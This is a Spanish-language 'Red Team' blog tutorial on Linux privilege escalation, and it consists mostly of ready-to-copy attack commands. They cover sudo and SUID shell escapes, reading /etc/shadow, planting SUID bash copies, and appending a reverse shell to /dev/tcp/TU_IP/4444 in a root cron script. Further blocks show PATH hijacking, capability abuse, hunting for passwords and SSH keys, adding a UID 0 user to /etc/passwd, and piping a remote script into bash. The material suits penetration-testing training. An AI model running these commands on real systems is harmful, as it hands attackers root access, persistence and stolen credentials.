Escalada de privilegios en Linux:
de usuario a root
Serie Red Team | unfantasmaenelsistema.com
Tienes un shell. Eres www-data, o un usuario con acceso limitado a un servidor Linux. Puedes leer algunos archivos, ejecutar algunos comandos, pero nada más. La pregunta que define la siguiente fase de cualquier auditoría es: ¿cómo llegamos a root?
La escalada de privilegios en Linux es una de las disciplinas más ricas del pentesting porque tiene docenas de vectores posibles: configuraciones incorrectas de sudo, binarios con el bit SUID activo, tareas programadas que ejecutan scripts editables, contraseñas en archivos de configuración, vulnerabilidades del kernel. El trabajo del auditor es encontrar cuál de ellos está disponible en el sistema objetivo.
Este artículo cubre los vectores más frecuentes con comandos listos para usar, explicación de por qué funciona cada técnica, y el flujo que sigue un pentester profesional para encontrar el camino a root de forma sistemática.
1. Qué es la escalada de privilegios
2. Enumeración inicial: lo primero al entrar
Nada más obtener un shell, antes de intentar ninguna técnica de escalada, hay que hacer una enumeración sistemática del sistema. Esta información determina qué vectores son posibles y por cuál empezar. La regla es: enumerar primero, explotar después. Un auditor que intenta técnicas de escalada sin enumeración previa pierde tiempo y genera ruido innecesario.
id
whoami
groups
uname -a
uname -r
cat /etc/os-release
cat /etc/issue
cat /etc/passwd
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/shadow
ls -la ~
ls -la /home/
cat ~/.bash_history
cat ~/.zsh_history
env
printenv
ip a
ss -tulpn
netstat -tulpn
ps aux
ps aux | grep root
▲ Comandos copiables
3. Sudo misconfiguration: el vector más frecuente
El primer comando que ejecuta cualquier pentester tras conseguir un shell es sudo -l. Muestra qué comandos puede ejecutar el usuario actual con privilegios elevados. Y con mucha frecuencia, los administradores dan permisos sudo a herramientas de sistema legítimas sin darse cuenta de que esas herramientas pueden usarse para obtener una shell de root.
sudo -l
sudo –version
sudo vim -c ‘:!/bin/bash’
sudo python3 -c ‘import os; os.system(«/bin/bash»)’
sudo perl -e ‘exec «/bin/bash»;’
sudo ruby -e ‘exec «/bin/bash»‘
sudo less /etc/passwd
sudo find / -exec /bin/bash \; -quit
sudo awk ‘BEGIN {system(«/bin/bash»)}’
sudo nmap –interactive
sudo tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/bash
▲ Comandos copiables
GTFOBins (gtfobins.github.io) es la referencia definitiva para esta técnica. Cubre prácticamente cualquier binario Unix estándar y muestra exactamente cómo abusar de él en contexto de sudo, SUID, capabilities o reverse shell. Ante cualquier binario inusual en el output de sudo -l: buscar en GTFOBins primero.
4. Binarios SUID y SGID
El bit SUID es una característica legítima de Linux que permite que ciertos programas accedan a recursos que normalmente requieren privilegios elevados. El problema de seguridad ocurre cuando ese bit está activo en binarios que no deberían tenerlo o que permiten ejecutar código arbitrario.
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm /6000 -type f 2>/dev/null
/bin/bash -p
find / -exec /bin/bash -p \; -quit
python3 -c ‘import os; os.execl(«/bin/bash», «bash», «-p»)’
cp /etc/shadow /tmp/shadow_copy
cat /tmp/shadow_copy
cp /bin/bash /tmp/bash_suid
chmod +s /tmp/bash_suid
/tmp/bash_suid -p
▲ Comandos copiables
La forma más rápida de saber si un binario SUID es explotable: buscarlo en GTFOBins, sección «SUID». Si aparece ahí, hay instrucciones exactas de explotación. Los binarios que más frecuentemente se encuentran con SUID incorrecto en sistemas mal configurados son: find, vim, python, nmap (versiones antiguas) y cp.
5. Cron jobs inseguros
Los cron jobs son tareas programadas que se ejecutan automáticamente. Si un cron job se ejecuta como root y contiene alguna inseguridad —un script editable, un binario relativo, una variable de entorno manipulable— podemos inyectar código que se ejecutará con privilegios de root en el próximo ciclo.
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
crontab -l
ls -la /var/spool/cron/crontabs/
watch -n 1 ‘ps aux | grep root’
./pspy64
echo ‘bash -i >& /dev/tcp/TU_IP/4444 0>&1’ >> /opt/backup.sh
echo ‘chmod +s /bin/bash’ >> /opt/backup.sh
/bin/bash -p
echo ‘#!/bin/bash’ > /tmp/backup.sh
echo ‘chmod +s /bin/bash’ >> /tmp/backup.sh
chmod +x /tmp/backup.sh
export PATH=/tmp:$PATH
▲ Comandos copiables
La herramienta pspy merece mención especial: permite monitorizar los procesos que se ejecutan en el sistema en tiempo real, sin privilegios de root. Es la forma más fiable de detectar cron jobs que no aparecen en /etc/crontab porque están configurados a través de otros mecanismos o con frecuencias muy cortas.
6. PATH hijacking
PATH hijacking explota la forma en que Linux busca los ejecutables cuando no se especifica la ruta absoluta. Si un programa vulnerable ejecuta service restart en lugar de /usr/sbin/service restart, podemos colocar nuestro propio service malicioso al principio del PATH.
Capabilities: privilegios granulares
Las capabilities de Linux dividen los privilegios de root en unidades más pequeñas. Un binario puede tener cap_setuid (cambiar el UID del proceso) sin tener todos los privilegios de root. Esto es más seguro que SUID, pero si ese binario permite ejecutar código (como Python o Perl), cap_setuid es suficiente para escalar a root.
echo ‘#!/bin/bash’ > /tmp/service
echo ‘/bin/bash -p’ >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
echo $PATH
which service
getcap -r / 2>/dev/null
python3 -c ‘import os; os.setuid(0); os.system(«/bin/bash»)’
perl -e ‘use POSIX; setuid(0); exec «/bin/bash»;’
ruby -e ‘Process::Sys.setuid(0); exec «/bin/bash»‘
▲ Comandos copiables
7. Contraseñas en archivos y configuraciones
Una de las técnicas más simples y más efectivas: buscar contraseñas en texto claro en archivos de configuración, backups, historial de comandos o variables de entorno. Los desarrolladores frecuentemente hardcodean credenciales de bases de datos, APIs o servicios internos, y esas credenciales a veces funcionan también para el usuario root del sistema.
grep -r ‘password’ /etc/ 2>/dev/null
grep -r ‘password’ /var/www/ 2>/dev/null
grep -rn ‘password’ /home/ 2>/dev/null
find / -name ‘*.conf’ -readable 2>/dev/null | xargs grep -l password 2>/dev/null
find / -name ‘config.php’ 2>/dev/null
find / -name ‘wp-config.php’ 2>/dev/null
find / -name ‘.env’ 2>/dev/null
cat /etc/mysql/my.cnf
cat /var/www/html/wp-config.php
find /var/www -name ‘*.php’ | xargs grep -l ‘password’ 2>/dev/null
find / -name ‘*.bak’ -o -name ‘*.backup’ -o -name ‘*.old’ 2>/dev/null
find / -name ‘id_rsa’ 2>/dev/null
find / -name ‘*.pem’ 2>/dev/null
env | grep -i pass
env | grep -i secret
find /home -name ‘.bash_history’ -readable 2>/dev/null | xargs cat
▲ Comandos copiables
8. Archivos con permisos incorrectos
Además de las contraseñas, hay que buscar archivos y directorios con permisos más abiertos de lo que deberían. El caso extremo: si /etc/passwd es escribible, podemos añadir un usuario con UID 0 directamente.
find / -writable -type f 2>/dev/null | grep -v proc
find / -perm -o+w -type f 2>/dev/null | grep -v proc
find / -perm -o+w -type d 2>/dev/null
find / -user $(whoami) -type f 2>/dev/null
find / -group $(id -gn) -type f 2>/dev/null
ls -la /etc/passwd
openssl passwd -1 hacked
echo ‘hacker:HASH_GENERADO:0:0:root:/root:/bin/bash’ >> /etc/passwd
su hacker
▲ Comandos copiables
9. Kernel exploits: el último recurso
10. Herramientas automáticas: LinPEAS y compañía
La enumeración manual es la mejor forma de aprender, pero en auditorías reales se complementa con herramientas automáticas que cubren cientos de vectores en segundos. LinPEAS es el estándar actual: analiza el sistema completo y codifica los hallazgos por colores según la probabilidad de éxito.
uname -r
uname -a
searchsploit linux kernel 3.13
searchsploit linux privilege escalation 2021
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
python3 -m http.server 8080
wget http://TU_IP_KALI:8080/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
./linpeas.sh | tee /tmp/linpeas_output.txt
wget http://TU_IP_KALI:8080/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t
wget http://TU_IP_KALI:8080/lse.sh
chmod +x lse.sh
./lse.sh -l 1
./lse.sh -l 2
▲ Comandos copiables
Una recomendación de uso: hacer la enumeración manual primero, luego LinPEAS. Si empiezas con LinPEAS, el volumen de output puede ser abrumador y perder la comprensión de qué está pasando. Hacerlo al revés te da contexto para interpretar los hallazgos de LinPEAS correctamente.
11. Resumen de vectores y flujo completo
Conclusión
La escalada de privilegios en Linux no es una técnica única: es un proceso de enumeración sistemática que busca la configuración incorrecta que el administrador del sistema no vio. En la mayoría de los casos, la vulnerabilidad no es un exploit de kernel sofisticado sino algo mucho más simple: un sudo mal configurado, un cron job que ejecuta un script editable, o una contraseña en texto claro en un archivo de configuración.
GTFOBins y LinPEAS son las dos herramientas que más aceleran este proceso. GTFOBins te dice cómo explotar cualquier binario que encuentres. LinPEAS te dice qué encontrar. Juntas cubren la gran mayoría de los vectores de escalada que verás en máquinas de CTF y en auditorías reales.
El siguiente artículo de la serie cubre la escalada de privilegios en Windows: un entorno con sus propias particularidades — tokens de impersonación, servicios vulnerables, DLL hijacking y el omnipresente Active Directory.
unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)